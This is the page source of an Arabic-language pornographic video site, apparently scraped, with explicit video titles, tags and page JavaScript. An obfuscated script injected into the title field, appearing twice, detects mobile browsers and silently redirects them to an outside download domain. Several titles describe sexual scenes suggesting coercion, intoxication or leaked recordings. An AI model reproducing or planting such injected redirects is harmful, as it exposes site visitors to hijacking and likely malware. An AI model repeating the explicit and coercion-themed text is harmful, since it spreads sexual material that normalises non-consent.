</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>بث مباشر: حسناء صغيرة مثيرة تكشف عن وجهها، وتجعل رجلاً يمارس معها الجنس من الخلف، وتداعب ثدييها، وتلعب معها من سرير إلى آخر، وضعية علوية مثيرة، بدون واقٍ ذكري، يدفع ويقذف على بطنها، مثيرة للغاية
بث مباشر: حسناء صغيرة مثيرة تكشف عن وجهها، وتجعل رجلاً يمارس معها الجنس من الخلف، وتداعب ثدييها، وتلعب معها من سرير إلى آخر، وضعية علوية مثيرة، بدون واقٍ ذكري، يدفع ويقذف على بطنها، مثيرة للغاية","site_id":0,"video_url":"https://bfaskcdn.com/20260701/zZA77IQr/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDMvYzY4ZTllNDZiMjA4N2RmNzFkYmJlODUzNTFjOTgyYTIuanBn.cache","duration":"28:55","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["جمال","جنسي","مدخل خلفي","البث المباشر","أظهر وجهك","عرض كبير","بدون واقٍ ذكري","صدر","عاطفة","دفع","عشب متفجر","على السرير","أرقى","جميلة صغيرة","ممارسة الجنس غير المحمي","أخ","شياومي","البطن","أطلق النار على","الإدخال","مثير للغاية","امرأة جميلة تكشف عن وجهها"],"site_url":"440393","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["主播直播"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDMvYzY4ZTllNDZiMjA4N2RmNzFkYmJlODUzNTFjOTgyYTIuanBn.cache","maker":"","table_name":"videos_aosikazy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"大秀直播性感小美女露脸让小哥后入爆草揉着骚奶子从床上玩到床上激情上位无套抽插射在肚子上真骚","s_keywords":"大秀直播性感小美女露脸让小哥后入爆草揉着骚奶子从床上玩到床上激情上位无套抽插射在肚子上真骚","s_description":"بث مباشر: حسناء صغيرة مثيرة تكشف عن وجهها، وتجعل رجلاً يمارس معها الجنس من الخلف، وتداعب ثدييها، وتلعب معها من سرير إلى آخر، وضعية علوية مثيرة، بدون واقٍ ذكري، يدفع ويقذف على بطنها، مثيرة للغاية","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTk5ZDkzNWVlYjIzZjU3M2VjZTk2OGE0MDQxOTc5NWMuanBn.cache","vod_id":18946394,"title":"بعد ممارسة الجنس مع امرأة من شنغهاي ولدت في ثمانينيات القرن الماضي، وجدت نفسي أشعر ببعض الإرهاق، حيث كنت أمارس الجنس معها عدة مرات في الأسبوع.","lastmod":"2025-03-19","duration":"00:00:34","url":"/play/18946394.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTFlZDRiMzUyODVjMzRjNGZmNWIyOGUwNDZkYjZlNWEuanBn.cache","vod_id":19006623,"title":"عرض جنسي مثير لزوجين في سيارة خارجية - الجزء الثاني: لمس القضيب أثناء القيادة، ركوب الجزء العلوي من مقعد الراكب والدفع","lastmod":"2025-03-19","duration":"30:35","url":"/play/19006623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTNjYWY5Yjk1NTkyYjk2OTNmNjk3OGRiYmIwOTFkODIuanBn.cache","vod_id":18936243,"title":"ألبوم صور عالي الجودة لجميلات فاتنات مثيرات أمر مغرٍ.","lastmod":"2025-03-19","duration":"00:00:21","url":"/play/18936243.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzJmZDZmOTAwYzVhY2RiZWFhYWIwZTJlM2M1MGY4Y2QuanBn.cache","vod_id":19124570,"title":"RCON-018 [تصوير فردي] #بث_مباشر_للزوجين #تصوير_بالهاتف #فيديو_عمودي #فيلم_أصلي #تصوير_فيلم_أصلي_للجيل_زد 001","lastmod":"2026-05-17","duration":"01:58:51","url":"/play/19124570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvODE2MTlhYzVhNjA1YjhjMDhiZDQ2NjE5NGExMzhkNmYuanBn.cache","vod_id":19106417,"title":"BEAF-099 لقد سئمت من حياتها اليومية المملة، لذلك قررت تصوير فيلم إباحي - عارضة أزياء ترتدي تنورة قصيرة مثيرة وتظهر ملابسها الداخلية.","lastmod":"2025-12-13","duration":"01:36:28","url":"/play/19106417.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjFhMGYwNzI4MmRhYmUyNjdkOGM1Y2E5MTc5ODZkZDIuanBn.cache","vod_id":18976182,"title":"SONE-298 اختراق عميق للمهبل، هزات رحمية لا تنتهي... سعي القضيب الضخم الدؤوب وراء الجنس - إصدار خاص","lastmod":"2025-03-19","duration":"02:29:45","url":"/play/18976182.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9hb3Npa2F6eXkuY29tLzIwMjYwMjE3L2pkM2QzOHJZLzEuanBn.cache","vod_id":19115071,"title":"#مميز_#خادمة ذات جودة عالية تدخل خلفي تغوي سيدها بأسلوب ركوب مع دفع تلقائي (1)","lastmod":"2026-02-18","duration":"03:26","url":"/play/19115071.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDFjYjA2NDcwOWVkMTg3ZGI5ODM1NGZmN2MwZDFlZGUuanBn.cache","vod_id":18953061,"title":"لتحقيق أهداف مبيعاتها، تناولت بائعة سيارات جميلة العشاء مع أحد العملاء بعد انتهاء عملها، وفي حالة سكر شديد، اصطحبته إلى فندق.","lastmod":"2025-03-19","duration":"10:43","url":"/play/18953061.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTcwZWRjZWY0OTI2ODIxOTdhMzkxOWExMGE0MjJmNzAuanBn.cache","vod_id":19075104,"title":"تسريب حصري لأكثر حادثة استعباد نساء فظاعة في جامعة بكين: إلهة باردة ومنعزلة في الحرم الجامعي، وعاهرة منحلة في السرير بشخصية مختلفة تمامًا، تمارس الجنس الفموي العميق، وتبتلع المني، وتمارس الجنس الفموي مع عدة أشخاص.","lastmod":"2025-03-20","duration":"20:38","url":"/play/19075104.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzZhYTU1YjMwZTRlZTczOWE2OWI2MmZkMDFiZmE5OTYuanBn.cache","vod_id":18942752,"title":"أوصي بشدة بمشاهدة رقصة \"هز الصدر\" الجذابة والرائعة التي تؤديها إحدى المشاهير على الإنترنت بملابس متنوعة.","lastmod":"2025-03-19","duration":"12:54","url":"/play/18942752.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGRhYTVmM2RhNGQ0ZTI2MDEzN2U4Y2ZiMTZmZjMyZDkuanBn.cache","vod_id":19030359,"title":"التقى السيد شين بفتاة من غوانغشي؛ وكان اختراق فرجها من الجانب على طريقة أفلام البالغين مؤثراً بصرياً بشكل لا يصدق؛ وقد استمتع كثيراً بممارسة الجنس من الخلف.","lastmod":"2025-03-19","duration":"19:02","url":"/play/19030359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWIyZjBiOTk2OTYxOWY5NDUzMDA1ZGE1MjEwODZlMmEuanBn.cache","vod_id":18934999,"title":"[بث مباشر مصور ذاتيًا باللغة الصينية] الاستمتاع بالألعاب الجنسية الخاصة","lastmod":"2025-03-19","duration":"32:14","url":"/play/18934999.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmQ2YzZjOTdhYTQ5ZjVjYjE4ZTc2MTlkMjlmN2ZmMzguanBn.cache","vod_id":19031502,"title":"عارضة أزياء ذات صدر صغير وجذاب! حسناء طويلة القامة وجذابة! بلوزة حمراء مكشوفة الكتفين وسروال داخلي، فرج وردي كثيف الشعر، تركب قضيبًا اصطناعيًا، مؤخرة على شكل خوخة تتحرك لأعلى ولأسفل.","lastmod":"2025-03-19","duration":"01:07:56","url":"/play/19031502.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTcxZmIzMWRmMmY5ZWUzZjQ3Mjc1NWU4NWU0YmQwMDguanBn.cache","vod_id":19013224,"title":"NNPJ-580 رأيتُ امرأةً جذابةً في أحد شوارع غينزا. ظننتُ أنني أُغازل، لكنّني انكشفتُ. قابلتُ امرأةً لطيفةً في الردهة.","lastmod":"2025-03-19","duration":"01:36:09","url":"/play/19013224.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjExMTI0YzE5MzNmM2Q0YmRjMGYyMjcxOTlmNjZiMGEuanBn.cache","vod_id":18980523,"title":"تقدم أفضل مقدمات البث المباشر عروضاً مثيرة وجريئة متنوعة - لا تفوتها إذا كنت من محبي هذا النوع من العروض!","lastmod":"2025-03-19","duration":"49:08","url":"/play/18980523.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZThiOTJmZDA2YWZlM2FiMmFjMzRkOTQzYjQ0ZTdmNDAuanBn.cache","vod_id":18983073,"title":"كم من الوقت يمكنك الصمود أمام هذه المتعة، يا أخي الصغير؟ (جوارب سوداء)","lastmod":"2025-03-19","duration":"07:30","url":"/play/18983073.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTkyNDhkOTE2NGI4ODVkNzBkNTVkZDExMWQ2OTAyNzYuanBn.cache","vod_id":19051577,"title":"فو جينغ من فرقة روكيت غيرلز - مشهد عاطفي غير خاضع للرقابة","lastmod":"2025-03-19","duration":"14:34","url":"/play/19051577.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTA4MDRhZTlkNjYzZGQyNmZiNmQ4YmEyMGFiZjgxMDAuanBn.cache","vod_id":18982137,"title":"ATYA-010 هي زوجة شابة بسيطة التفكير ذات صدر كبير (مقاس G)، لكنها تتمتع بجسم مثير للغاية. تستمتع بممارسة الجنس العابر مع رجال أكبر سناً، وقد خاضت علاقة خارج إطار الزواج أشعلت رغباتها الجنسية.","lastmod":"2025-03-19","duration":"02:01:12","url":"/play/18982137.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjllNTE5NWJmZGNkNDZiZjgwMjEzZTgwMDhlNDdhYWUuanBn.cache","vod_id":18977432,"title":"بساقين جميلتين وجوارب سوداء، مارست الجنس بقوة مع امرأة بيضاء البشرة، مثيرة وجميلة، مما جعلها تصرخ من اللذة وتقول إن قضيبِي كبير جدًا.","lastmod":"2025-03-19","duration":"19:59","url":"/play/18977432.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZhNmY5MTJiOTExODhjNDUwOWNiODFkZmNkYjUzMzEuanBn.cache","vod_id":18957726,"title":"تم عرض الفتاة التي كانت تسكن في الشقة المشتركة وجهاً لوجه طوال الوقت بينما كان الرجل الموشوم يثبتها أرضاً ويمارس معها الجنس بعنف، في حين تناوبت الفتيات الأخريات على ممارسة الجنس الفموي معها.","lastmod":"2025-03-19","duration":"01:09:55","url":"/play/18957726.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGY2ZmI3NDU4OGU3N2RiMjE3MDIwYjE5NDU0MWQ4ZTMuanBn.cache","vod_id":19069816,"title":"امرأة جميلة ذات قوام رشيق وجسم متناسق تمارس الجنس مع رجل موشوم في غرفة فندق. لقطات مقرّبة للمشهد: جنس فموي عميق، قضيب كبير، يمتطيه الرجل، يمسك مؤخرتها، يدفع بقوة، وبعد الانتهاء، تمارس المرأة العادة السرية، وشعر عانتها كثيف.","lastmod":"2025-03-20","duration":"01:27:20","url":"/play/19069816.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjYvMmU3MGMzYzRkYTI0MDQxYzJkNDI0ODYxNDgwOWNhZTkuanBn.cache","vod_id":19080185,"title":"تظهر امرأة صغيرة الحجم، ذات شعر كثيف في منطقة العانة، بكامل هيئتها، كاشفةً عن وجهها من جميع الزوايا. تستخدم الجوارب لإغواء الرجال والدخول في أحاديث موحية، وتتفاعل معهم، وتداعب صدورهم، وتلعب بأعضائهم التناسلية، وتفتح ساقيها أمامهم.","lastmod":"2025-04-26","duration":"09:09","url":"/play/19080185.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM3MWMzYjNjNGViZWZiOTU3MDZkYjg1NTVjM2RjMmQuanBn.cache","vod_id":19034818,"title":"فضيحة مأساوية في صناعة الترفيه الكورية؛ إلهة فائقة الجمال متخصصة في الجنس الفموي العميق والتأوه!","lastmod":"2025-03-19","duration":"18:24","url":"/play/19034818.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTZmYjZmMWUwMGU5ZDY0YzJiMjllZGZjYTczODJkM2YuanBn.cache","vod_id":18936637,"title":"كان الرجل المختون يمارس الجنس مع امرأة جميلة، لكن قضيبه كان قصيرًا جدًا بحيث لا ينتج أي سائل.","lastmod":"2025-03-19","duration":"02:53","url":"/play/18936637.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>بث مباشر: حسناء صغيرة مثيرة تكشف عن وجهها، وتجعل رجلاً يمارس معها الجنس من الخلف، وتداعب ثدييها، وتلعب معها من سرير إلى آخر، وضعية علوية مثيرة، بدون واقٍ ذكري، يدفع ويقذف على بطنها، مثيرة للغاية',
language: 'ar',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('تم نسخ الرابط!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('تم نسخ الرابط!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('تم نسخ الرابط!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}